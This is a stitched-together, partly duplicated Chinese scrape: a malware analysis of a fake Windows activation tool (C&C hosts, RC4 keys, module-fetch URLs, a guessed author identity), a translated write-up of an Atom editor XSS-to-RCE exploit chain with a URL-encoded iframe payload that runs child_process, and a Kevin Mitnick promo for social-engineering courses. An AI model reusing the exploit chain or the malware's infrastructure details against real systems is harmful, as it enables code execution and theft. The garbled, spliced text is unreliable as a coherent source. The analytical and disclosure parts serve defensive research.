数据保存到注册表HKCU\software\Microsoft\Windows\CurrentVersion\plugins下

19.jpg

图19:注册表中保存解密前的任务模块

 

解密后得到adshow.exe,该模块主要负责进行自媒体视频刷量,它集成了webkit浏览器引擎。通过创建傀儡进程的方式启动。

 

四、电商劫持


上文提到不同的渠道号会获取到不同的配置文件,经过分析我们发现,其中渠道号为:0103、0104、0105、0107的配置文件带有电商劫持功能。

只要将mac=000C29C5B50E&sys=32&channel=0101&tag=20150714 中的channel改为对应的值并构造出链接,即可获取到模块文件,如:

hxxp://rl1.w7q.net/Api/Index/index/code/M0E4L2NIK2N2U2tJSGJKbENmZTdTM0huOFRIRU02aFZPdTNtd29YYlpVaVZDbTMrNzdiNmZ4YldiNVByaFFLSkpRPT0=

21.png

图20:解密后的配置文件

 

选择将模块注入浏览器列表有:

2345*.exe|firefox.exe|360chrome.exe|liebao.exe|baidu*.exe|baidurender.exe|chrome.exe|sogouex*.exe|maxthon.exe|115chrome.exe|qqbrowser.exe||UCBrowser.exe

当发现有如下调试工具和抓包工具进程时,则不进行电商劫持。

21.png

图21:检测的分析和调试工具进程名

 

         当电商劫持模块被注入到浏览器后,病毒会通过本地自建Web服务器作为代理,当用户访问电商网址,代理模块会进行电商域名的匹配,然后通过配置信息,向页面中插入html代码。如图22:

22.png

图22:通过代理劫持电商流程

 

我们根据任务配置信息,整理了出被劫持的电商链接。

jd.com
temai.taobao.com
1212.mogujie.com
shop.mogujie.com
www.mogujie.com
www.vip.com
s.click.tmall.com
1111.tmall.com
www.gome.com.cn

 

病毒劫持不同的电商使用的方法也不同,有向html中插入script脚本的,也有替换pid值的。最典型的如淘宝,病毒会插入或者替换自己的PID。以蘑菇街劫持为例,当用户访问蘑菇街时,电商劫持模块将会在向html里插入一段javascript脚本。如图23所示:

23.png

图23:蘑菇街的劫持js代码

 

并将当前访问的URL和hxxp://www.hl21.net/?a=m&u=拼接并请求访问,这时www.hl21.net服务端会返回一个新的跳转连接:

http://www.mogujie.com/cps/open/track?target=&uid=14djfje&channel=&feedback=

其中包含uid,channel等信息,这样就完成了劫持。

24.png

图24:蘑菇街劫持数据包

 

五、广告刷量


除了上述所说的电商劫持外,病毒还会进行一些自媒体视频的刷量和网站访问刷量行为。自媒体视频覆盖YouKu、PPTV、爱奇艺、搜狐几大站点。根据统计显示自媒体视频广告条目有208条,平均每一条视频总的访问量约为2.5W,最高的一条达57W访问量。

经过分析,它会创建一个隐藏的IE Frame控件(或是集成的webkit浏览器引擎),因为视频中会存在视频声音,为不让用户发现有莫名的声音出现,病毒会“屏蔽”音媒体设备,防止在刷流量时发出声音。

25.png

图25:屏蔽音频相关函数

 

通过tlv://ePeTsVWo.laocaifengxitong.tv:8746/去请求服务端广告配置文件,返回数据通过RC4算法解密后得到xml。然后对该xml文件进行解析,并提取要刷量的视频链接地址。用隐藏的IE Frame控件(或是集成的webkit浏览器引擎)去浏览这些页面。

26.png

图26:刷量的视频链接

 

27.png

图27:爱奇艺合作分成模式

 

六、溯源

做了这么多事情的“老裁缝激活工具”,也有百密一疏的时候,经过我们的搜索发现,早在2015开始“老裁缝激活工具”就已经开始作案。开发人员竟然将框架代码上传至Github。

28.png

图28:Github上的病毒框架代码

 

作者QQ : 329****63,作者名叫:dongkun(董坤?)

29.png

图29:Github上病毒代码提交者的qq邮箱

30.png

图30:疑似作者的QQ信息

 

七、总结

“老裁缝激活工具”,从云端下载核心并内存加载达到文件不落地,并且进行了多层的文件加密,所有的任务也是通过云配下发,自定义的网络传输协议。这也是以后病毒木马的技术发展趋势。

 

一、前言

激活工具打着”激活成功率最高“,”完美激活各个版本的系统“的旗号,使得该类激活工具病毒在短时间之内大范围传播。最近金山毒霸实验室发现,一款名叫“老裁缝激活工具”,借助着”小马激活”的名字活跃在“系统之家”、”软件下载器”、“网盘”。

 

PS:因C&C通信服务器中包含laocaifeng字符串,所以通篇文章中,病毒名称以“老裁缝”命名。

 

 “老裁缝激活工具”从2015年就已经开始制作病毒,但是由于核心模块都是内存加载,文件不落地,从而很难被发现,”老裁缝激活工具” 会按照制作者的计划,通过云端规则下发任务的方式,对电商进行劫持,劫持的电商有京东,天猫、淘宝、唯品会、国美、蘑菇街。

另外“老裁缝激活工具”也会对自媒体视频进行播放量暗刷,视频网站包括优酷、PPTV、爱奇艺、搜狐几大站点。根据统计显示”老裁缝”进行暗刷的自媒体视频广告条目有208条,平均每一条视频总的访问量约在2.5W/访问量,最高的一条达57W/访问量。

二、样本分析


母体分析

1.png
图1:病毒行为流程图

 

当“老裁缝激活工具“的激活按钮被点击后,会联网请求去下载执行inst.exe (hxxp://xz.tujingdy.com:8001/Inst.exe),该文件是整个病毒的母体,然后请求访问hxxp://xz.tujingdy.com/rule.lce去下载rule.lce并解密文件。rule.lce是一个自定义文件格式的“模块包集合”,接下来inst.exe对rule.lce文件结构偏移进行读取,解析并解密出PE文件,解密完后的PE文件会进行CRC值校验,如果校验无误则释放成文件到%ProgramData%\LCFApp目录下,自定义格式如下:

2.png

图2:rule.lce文件结构

 

“模块包”包含8个文件(驱动,配置文件,升级模块等,版本覆盖x86和x64):

文件名 功能说明 版本
LCFGuard.sys 注入系统进程、文件过滤、注册表过滤 x86
LCFGuard64.sys 注入系统进程、文件过滤、注册表过滤 x64
LCFInst.dll 被注入winlogon的dll模块用于自更新 x86
LCFInst64.dll 被注入winlogon的dll模块用于自更新 x64
loader_32.dll 被注入到explorer用于劫持浏览器 x86
loader_64.dll 被注入到explorer用于劫持浏览器 x64
rule.mpc 主页、浏览器进程配置文件
rule 文件配置信息

        

根据不同版本的系统,从rule.lce中读取x86或者x64位驱动。然后以Vq开头的随机命名的方式生成驱动文件和创建注册表信息,最后把核心模块备份一份到注册表中。

键值 说明
LCF 老裁缝驱动文件
RRUL Rule.lce
RUI 所有文件名配置信息
RMP 浏览器劫持配置信息

 

3.png

图3:老裁缝注册表配置信息

 

浏览器劫持配置信息如下,病毒会将主页劫持到hxxp://www.2345.com/?k91340730

19.jpg

图4:劫持的浏览器和导航地址

 

5.最后将用户的信息进行上报统计

http://www.tujingdy.com/client/detail?main_channel=%s&child_channel=%s&event=%s&version=%s&guid=%s&params=%s&sign=%s

驱动分析


病毒驱动加载时,将自已挂到Fltmgr驱动的设备链表里,然后将自己的驱动对象从系统链表里给擦除掉,使得系统中的其他进程(如pchunter)在遍历系统驱动设备对象时无法找到该驱动,并且通过病毒驱动的设备(LCFGuard)找到的驱动也是Fltmgr,我们通过图5可以看到病毒驱动信息。由于此功能,使得分析人员在系统中较难发现该病毒驱动。

5.png

图5:过滤驱动将病毒重定向到FltMgr.sys

 

然后,病毒驱动会创建4个系统回调:注册表回调、进程回调、镜像回调、关机回调。

6.png

图6:病毒驱动注册的系统回调

 

1.注册表回调:隐藏自身注册表键值避免被“肉眼”发现。

2.关机回调&进程创建回调:当这两个回调函数被系统调用后,会枚举当前进程是否为winlogon.exe,如果是winlogon.exe,则会去注册表查找病毒驱动注册表是否完整,如果注册表中的键值被删除或者破坏将会读取%ProgramData%\ LCFApp目录下的文件并对注册表键值进行修复。

7.png

图:7 进程回调函数

 

3.镜像回调:作者目前未实现镜像回调函数。

8.png

图8:LoadImage回调函数

 

老裁缝驱动会根据rule.lce文件中的文件结构信息获取到要将哪些模块注入到winlogon和explorer中,注入部分使用了开源的BlackBone项目代码。如图9所示,老裁缝驱动中的shellcode代码和BlackBone完全一致。

9.png

图9:BlackBone项目代码

 

10.png

图10:被注入后的explorer和winlogon

 

病毒驱动与R3环通信的控制码说明:

控制码 功能说明
0×222000 读取老裁缝注册表RRUL键值恢复文件,并重新APC注入winlogon和explorer
0x2220C0 通过构造IRP的方式去删除文件

 

11.png

图11:如果通过 ZwDeleteFile删除失败,则通过自己构造IRP的方式去删除文件。

 

完成以上工作后,老裁缝驱动会绑定TDI设备,通过http协议将再次进行上报统计。

www.tujingdy.com /client/detail?main_channel=50000&child_channel=00001&event=status&version=87&guid=8FD58835A3A8586B&params={“OMV”:0×00000006,”OIV”:0×00000001,”OBN”:0x00001DB0,”OSP”:0×00000000,”LBV”:0×00000008,”LDO”:0×00000000,”LPN”:0×00000000,”LSN”:0×00000000,”LLI”:0×00000000,”LRC”:0×00000000,”LIN”:0×00000000,”LMS”:0×00000000,”LFP”:0×00000000,”LIRD”:0xC0000002,”LRDT”:0xC000004B,”LRD”:0×00000000,”LIRT”:0xC000004B,”LIR”:0×00000000,”LRV”:0×00000057,”LRU”:0×00000055,”LIDT”:0xC000004B,”LID”:0×00000000,”LCS”:0×00000000,”LNS”:0xC0000002,”LNST”:0xC0000002,”LDF”:0xC0000002,”LDST”:0×00000000,”LHP”:0xC0000002,”LCD”:0×00000000,”LIC”:0×00000000}&sign=f2e73b563c5d8fce1cc1d171898e0a4d

 

12.png

图12:直接在驱动中进行上报统计

 

3、Loader分析

Loader.dll是通过驱动层被注入到explorer.exe中的,该模块主要负责向服务器发送mac、channel、tag等信息,服务器端根据这些信息相应的返回不同的渠道的xml配置,根据目前发现的来看一共有9个不同的渠道,每个渠道的任务大致相同。我们对几个不同版本、渠道号的老裁缝任务进行了分析,整理了出以下C&C通信服务器地址

C&C 服务器地址 说明
laocaifengxitong.cc:8746 下载模块功能配置文件
hxxp://rl1.w7q.net/Api/Index/index/code/ 下载模块功能配置文件
hxxp://capi.w7q.net/index.php/get_task/0107/ 任务配置文件任务号从0101~0109

 

13.png

图13:任务下发逻辑示意图

 

首先,会将mac=000C29C5B50E&sys=32&channel=0101&tag=20150714以rc4 算法加密(key =rtLgHdkP3ArnlIk4), 然后再经过2次base64编码转换将最终加密后的参数与C&C通信服务器地址进行字符串拼接,发往服务端,服务端收到请求后返回的配置文件。如图14:

14.jpg

图14:自定义的tlv下载协议

 

服务器返回的xml配置文件经过RC4算法加密,密钥为:t^%^mbVuKT]lWf$J。解密后的配置文件中包含模块文件(电商劫持模块、傀儡进程、广告刷量)下载连接,选择磁盘存储还是内存加载、文件MD5,是否注入等信息。如图15:

15.jpg

图15:解密后的xml配置文件

 

接下来病毒会根据xml中的res 字段去下载另外的任务模块。

16.jpg

图16:任务模块下载数据包

 

下载的数据保存到注册表HKCU\Software\Microsoft\Windows Media\componentx下:

17.jpg

图17:注册表中保存解密前的任务模块

经rc4解密得到fake_svchost.exe, md5为e3ad53da1032df55f26c51e7bfe0584b。

fake_svchost.exe也是一个loader,会根据硬编码链接下载任务模块。

下载连接:sap://dl.laocaifengxitong.cc:9090/brow/data7.1101

18.jpg

图18:fake_svchost.exe下载任务模块adshow.exe

数据保存到注册表HKCU\software\Microsoft\Windows\CurrentVersion\plugins下

19.jpg

图19:注册表中保存解密前的任务模块

 

解密后得到adshow.exe,该模块主要负责进行自媒体视频刷量,它集成了webkit浏览器引擎。通过创建傀儡进程的方式启动。

 

四、电商劫持


上文提到不同的渠道号会获取到不同的配置文件,经过分析我们发现,其中渠道号为:0103、0104、0105、0107的配置文件带有电商劫持功能。

只要将mac=000C29C5B50E&sys=32&channel=0101&tag=20150714 中的channel改为对应的值并构造出链接,即可获取到模块文件,如:

hxxp://rl1.w7q.net/Api/Index/index/code/M0E4L2NIK2N2U2tJSGJKbENmZTdTM0huOFRIRU02aFZPdTNtd29YYlpVaVZDbTMrNzdiNmZ4YldiNVByaFFLSkpRPT0=

1.png

图20:解密后的配置文件

 

选择将模块注入浏览器列表有:

2345*.exe|firefox.exe|360chrome.exe|liebao.exe|baidu*.exe|baidurender.exe|chrome.exe|sogouex*.exe|maxthon.exe|115chrome.exe|qqbrowser.exe||UCBrowser.exe

当发现有如下调试工具和抓包工具进程时,则不进行电商劫持。

21.png

图21:检测的分析和调试工具进程名

 

         当电商劫持模块被注入到浏览器后,病毒会通过本地自建Web服务器作为代理,当用户访问电商网址,代理模块会进行电商域名的匹配,然后通过配置信息,向页面中插入html代码。如图22:

22.png

图22:通过代理劫持电商流程

 

我们根据任务配置信息,整理了出被劫持的电商链接。

jd.com
temai.taobao.com
1212.mogujie.com
shop.mogujie.com
www.mogujie.com
www.vip.com
s.click.tmall.com
1111.tmall.com
www.gome.com.cn

 

病毒劫持不同的电商使用的方法也不同,有向html中插入script脚本的,也有替换pid值的。最典型的如淘宝,病毒会插入或者替换自己的PID。以蘑菇街劫持为例,当用户访问蘑菇街时,电商劫持模块将会在向html里插入一段javascript脚本。如图23所示:

23.png

图23:蘑菇街的劫持js代码

 

并将当前访问的URL和hxxp://www.hl21.net/?a=m&u=拼接并请求访问,这时www.hl21.net服务端会返回一个新的跳转连接:

http://www.mogujie.com/cps/open/track?target=&uid=14djfje&channel=&feedback=

其中包含uid,channel等信息,这样就完成了劫持。

24.png

图24:蘑菇街劫持数据包

 

五、广告刷量


除了上述所说的电商劫持外,病毒还会进行一些自媒体视频的刷量和网站访问刷量行为。自媒体视频覆盖YouKu、PPTV、爱奇艺、搜狐几大站点。根据统计显示自媒体视频广告条目有208条,平均每一条视频总的访问量约为2.5W,最高的一条达57W访问量。

经过分析,它会创建一个隐藏的IE Frame控件(或是集成的webkit浏览器引擎),因为视频中会存在视频声音,为不让用户发现有莫名的声音出现,病毒会“屏蔽”音媒体设备,防止在刷流量时发出声音。

25.png

图25:屏蔽音频相关函数

 

通过tlv://ePeTsVWo.laocaifengxitong.tv:8746/去请求服务端广告配置文件,返回数据通过RC4算法解密后得到xml。然后对该xml文件进行解析,并提取要刷量的视频链接地址。用隐藏的IE Frame控件(或是集成的webkit浏览器引擎)去浏览这些页面。

26.png

图26:刷量的视频链接

 

27.png

图27:爱奇艺合作分成模式

 

六、溯源

做了这么多事情的“老裁缝激活工具”,也有百密一疏的时候,经过我们的搜索发现,早在2015开始“老裁缝激活工具”就已经开始作案。开发人员竟然将框架代码上传至Github。

28.png

图28:Github上的病毒框架代码

 

作者QQ : 329****63,作者名叫:dongkun(董坤?)

29.png

图29:Github上病毒代码提交者的qq邮箱

30.png

图30:疑似作者的QQ信息

 

七、总结

“老裁缝激活工具”,从云端下载核心并内存加载达到文件不落地,并且进行了多层的文件加密,所有的任务也是通过云配下发,自定义的网络传输协议。这也是以后病毒木马的技术发展趋势。

 

前不久,我研究了一下GitHub的文本编辑器(Atom),并且在Atom中找到了好几个安全。经过了一段时间的分析和研究之后我发现,这些漏洞将允许攻击者在目标用户的设备上实现远程代码执行。

1.png

我发现了这些漏洞之后,便立刻通过HackerOne将漏洞上报给了Atom,相关问题目前已经在2017年10月12日发布的Atom v1.21.1中成功修复。如果各位同学想深入研究或者复现漏洞的话,可以从【这里】获取GitHub提供的旧版本代码。

Web端的安全问题传染给了桌面端App

Atom是一款基于跨平台框架Electron(基于JavaScript、HTML和CSS)开发的文本编辑器,而Electron是一种用来开发桌面应用的工具。

但是,这种框架却将自身存在的Web端安全缺陷传染给了桌面端应用,即跨站脚本漏洞(XSS)。这种应用程序是通过JavaScript实现的,如果其中存在XSS漏洞,那么就有可能导致攻击者实现任意代码执行。

当然了,我们现在也有很多方法来缓解Electron中的XSS所带来的影响,但如果解决方案部署不当,那么攻击者仍然可以轻松实现攻击。

通过CSP来对付XSS

在正式开始介绍漏洞之前,先了解一下GitHub是如何解决这些XSS问题的。你没猜错,GitHub使用的就是内容安全策略(CSP)。请大家打开Atom的index.html文件,然后你就会看到如下所示的部署策略:

<!DOCTYPE html>
<html>
  <head>
     <meta http-equiv="Content-Security-Policy"content="default-src * atom://*; img-src blob: data: * atom://*;script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-srcblob: data: mediastream: * atom://*;">
     <script src="index.js"></script>
  </head>
  <body tabindex="-1"></body>
</html>

注意其中的script-src ‘self’ ‘unsafe-eval’,它允许运行同源的JavaScript代码以及使用eval()构建的代码,但是禁止内联JavaScript运行。

也就是说,在下面的例子中,只有“index.js”里面的JavaScript代码可以被执行,而alert(1)无法运行,因为它属于内联JavaScript:

<!DOCTYPE html>
<html>
  <head>
     <meta http-equiv="Content-Security-Policy"content="default-src * atom://*; img-src blob: data: * atom://*;script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-srcblob: data: mediastream: * atom://*;">
  </head>
  <!-- Following line will be executed since it is JS embedded from thesame origin -->
  <script src="index.js"></script>
  <!-- Following line will not be executed since it is inlineJavaScript -->
  <script>alert(1)</script>
</html>

Atom如何解析Markdown文件

如果你面对的是包含解析器或者预览功能的软件,我建议你先去研究一下组成这些软件的第三方组件。一般来说,软件的解析库使用的都是第三方组件,而软件在部署这些组件的时候很有可能会引入新的安全问题。因为组件的开发者跟使用者可能想不到一起去,比如说,开发者默认会认为程序提供给组件的肯定是安全的数据,而组件的使用者可能会认为组件会帮他们对不安全的数据进行过滤,这下可就麻烦了。

那么接下来,我首先要跟大家分析一下Atom是如何解析Markdown文件的,相关代码可以在GitHub的atom/markdown-preview中找到。

通过分析发现,Markdown解析器貌似还可以解析HTML文件:

2.png

于是我便尝试注入了一段简单的JavaScript代码来判断Markdown代码库是否会过滤掉JavaScript代码。虽然内容安全策略可以防止JavaScript代码运行,但我现在只想弄清楚代码库是否能够进行最基本的数据过滤。而事实证明,它可以。如下图所示,我们注入的script语句并没有显示在DOM之中:

3.png

搜索了相关信息之后,我发现这种功能(Markdown解析任意HTML文档)实际上是他们故意这样设计的。因此,Markdown代码库才引入了这种数据清洗模式,即一种自定义的数据过滤功能,相关代码如下:


虽然这种数据过滤功能很弱,但我们依然不能使用各种on-listener来实现绕过,因为这样可能会违反CSP,并导致恶意Payload无法运行。

但是,我们可以尝试注入其他类型的HTML Payload,请大家仔细看刚才那张截图:

4.png

很明显,Atom的运行使用的是file:// 协议,如果我们可以创建一个恶意HTML文件并将其嵌入到本地文件中,那该文件是否会被视作是Electron本地文件(符合同源策略)所提供的呢?而此时我们的JavaScript代码有可能将会被执行。

于是我在Home目录中创建了一个名叫hacked.html的文件,文件内容如下:

sanitize = (html) ->
           o = cheerio.load(html)
           o('script').remove()
           attributesToRemove = [
             'onabort'
             'onblur'
             'onchange'
             'onclick'
             'ondbclick'
             'onerror'
             'onfocus'
             'onkeydown'
             'onkeypress'
             'onkeyup'
             'onload'
             'onmousedown'
             'onmousemove'
             'onmouseover'
             'onmouseout'
             'onmouseup'
             'onreset'
             'onresize'
             'onscroll'
             'onselect'
             'onsubmit'
             'onunload'
           ]
           o('*').removeAttr(attribute) for attribute inattributesToRemove
           o.html()
<script>
   alert(1);
</script>

接下来,我只需要在Markdown文档中使用<iframe>即可成功触发JavaScript:

5.png

结合本地DOM XSS

我现在还无法执行任意JavaScript代码,因为这里还有一个问题:利用这个漏洞需要用户与恶意文档进行交互:

1.      用户要主动打开恶意Markdown文档;

2.      用户要开启Markdown文档的预览视图;

3.      恶意Markdown文档还需要另一个包含有恶意JavaScript代码的本地HTML文件;

在真实的攻击场景中,上述条件就很难满足了。但是,如果我们能找到某个包含DOM XSS的本地文件,那就简单多了,而且更适用于真实的攻击活动。

所以,我打算对Atom Bundle中的HTML文件进行分析。幸运的是,我使用的是macOS系统,所以我可以直接在/Applications/Atom.app/Contents目录中查看到Atom bundle文件:

6.png

快速搜索之后,我在bundle中找到了如下的HTML文件:

➜  Contents find . -iname”*.html”

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html

./Resources/app/apm/node_modules/clone/test-apart-ctx.html

./Resources/app/apm/node_modules/clone/test.html

./Resources/app/apm/node_modules/colors/example.html

./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html

./Resources/app/apm/node_modules/jsbn/example.html

接下来,你可以选择对HTML文件进行静态分析或手动分析。由于文件不多,所以我选择直接进行手动分析,而文件/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html成功吸引了我的注意:

<html>

  <head>

   <meta charset="utf-8">

   <title>Clone Test-Suite (Browser)</title>

 </head>

 <body>

   <script>

     var data = document.location.search.substr(1).split('&');

     try {

       ctx = parent[data[0]];

       eval(decodeURIComponent(data[1]));

       window.results = results;

     } catch(e) {

       var extra = '';

       if (e.name == 'SecurityError')

         extra = 'This test suite needs to be run on an http server.';

       alert('Apart Context iFrame Error\n' + e + '\n\n' + extra);

       throw e;

     }

   </script>

 </body>

</html>

上述代码在document.location.search调用了eval(),而Atom的内容安全策略是允许使用eval()的,所以我们只需要使用如下所示的语句就能够触发弹窗:

file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)

实际上,我们还可以使用下面这种Markdown文档就能够执行任意JavaScript代码:

<iframesrc="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>

7.png

执行任意本地代码

正如之前所说的,如果你想在一个Electron应用中执行恶意JavaScript代码,也就意味着你需要实现本地代码执行。最简单的实现方法就是访问window.top对象,然后使用require函数(NodeJS)来访问child_process模块。下面给出的JavaScript代码将能够打开macOS的计算器程序(Calculator.app):

<scripttype="text/javascript">

window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});

</script>

在对上述的漏洞利用代码进行URL编码后得到的代码如下:

<iframesrc="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>

当目标用户打开恶意Markdown文档之后,Calculator.app将会被运行:

8.png

实现远程攻击

虽然上述方法可以成功触发漏洞,但我们仍然需要目标用户手动打开恶意Markdown文档。但需要注意的是,这可不是Atom唯一能够呈现Markdown文档内容的地方。

使用grep命令搜索了Atom的源码之后,我又发现了一个能够解析Markdown文件的模块,即atom/settings-view。实际上,这个模块所采用的数据清洗策略也同样存在安全问题,代码如下:

const ATTRIBUTES_TO_REMOVE = [

 'onabort',

 'onblur',

 'onchange',

 'onclick',

 'ondbclick',

 'onerror',

 'onfocus',

 'onkeydown',

 'onkeypress',

 'onkeyup',

 'onload',

 'onmousedown',

 'onmousemove',

 'onmouseover',

 'onmouseout',

 'onmouseup',

 'onreset',

 'onresize',

 'onscroll',

 'onselect',

 'onsubmit',

 'onunload'

]

 

function sanitize (html) {

 const temporaryContainer = document.createElement('div')

 temporaryContainer.innerHTML = html

 

  for(const script of temporaryContainer.querySelectorAll('script')) {

   script.remove()

  }

 

  for(const element of temporaryContainer.querySelectorAll('*')) {

   for (const attribute of ATTRIBUTES_TO_REMOVE) {

     element.removeAttribute(attribute)

    }

  }

 

  for(const checkbox oftemporaryContainer.querySelectorAll('input[type="checkbox"]')) {

    checkbox.setAttribute('disabled',true)

  }

 

 return temporaryContainer.innerHTML

}

Atom还支持使用第三方Package,这些Package基本上都是社区人员开发和提供的,具体可参考atom.io/packages。关键之处在于,这些Package可以通过Markdown格式来定义README文档,而README文档的内容将会在Atom设置窗口中呈现给用户。

因此,恶意攻击者只需要已各种包名注册大量的恶意Package(利用社工技术,包名可以跟现有的第三方包名类似),只要目标用户点击了这个包名(无需安装Package),那么嵌入在README文档中的恶意代码就能够被执行。

9.png

如何修复这些安全漏洞

为了修复这些安全问题,我们跟GitHub的开发人员进行了交流,并最终设计出了如下所示的漏洞缓解方案:

1.      删除bundle中多余的HTML文件

2.      使用DOMPurify对Markdown文档的内容进行数据清洗

虽然这种解决方案只是暂时的,但对于目前来讲也已经足够了。与此同时,GitHub也准备引入一种规则更加严格的Markdown解析器,但是这很有可能会对很多现有用户的工作流程产生影响。

 * 参考来源:statuscode,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

他曾一度是“黑客”的代名词——

      15岁,仅凭借一台电脑和一部老式的调制解调器,他就成功入侵了北美防空司令部的防务指挥系统,翻遍美国指向前苏联及其盟国的所有核弹头数据资料!

      你无法想象FBI 执行逮捕,却看到对象是个未满16岁的毛头小子时候的表情!

      苹果、微软、诺基亚…甚至连圣迭戈的超级计算机中心都成了他的目标。在当时造成超过4亿美元的经济损失!

      五角大楼、中央情报局、美国国家税务局、纽约花旗银行…这些配有铜墙铁壁一般防守的网络系统,却都成了他的“游乐园”!

      三次被通缉!美国司法部曾将其称为“美国历史上被通缉的头号计算机罪犯”!对他技术的恐惧一度支配着美国司法部门,他们甚至不得不勒令他在缓刑期内不得接触任何数码设备!

2.jpg

      他的传奇生涯被翻拍成电影,《骇客追缉令》、《战争游戏》和《自由停工期》三部黑客电影的原型都是他,甚至连主角的名字都没换…

      最要命的是,「社会工程学」这个概念就是由他提出来的!

他是谁?

      他就是网络安全界响彻云霄的——Kevin Mitnick!

      被释放以后,他成立了一家安全公司,专为大企业做网络安全评估,他出版了好几本书,拥有自己的安全咨询公司,世界知名企业都找他做过安全咨询,一次咨询费高达数百万美元。

      如今的他是这样评价当年的自己:我现在做的事情,和送我入狱的事情几乎一样。只是,我得到了对方的授权。要用你的力量去做好事,而不是去作恶。

      你是否也跟春秋菌一样,想要了解:这位大佬在技术探索过程中曾遇到过什么挫折?登顶封神后的他,会如何回顾他的传奇一生?如今,他又会对新一代的网络安全从业者提出什么建议呢?

推荐1     点击学习,一同感受世界顶级大佬的魅力

推荐2    一起《从六个角度探讨人性漏洞》吧!

3.jpg

推荐更多社工学习资料1    <<<<<<

推荐更多社工学习资料2   社工学的终极秘密:看穿你的每一个决定     <<<<<<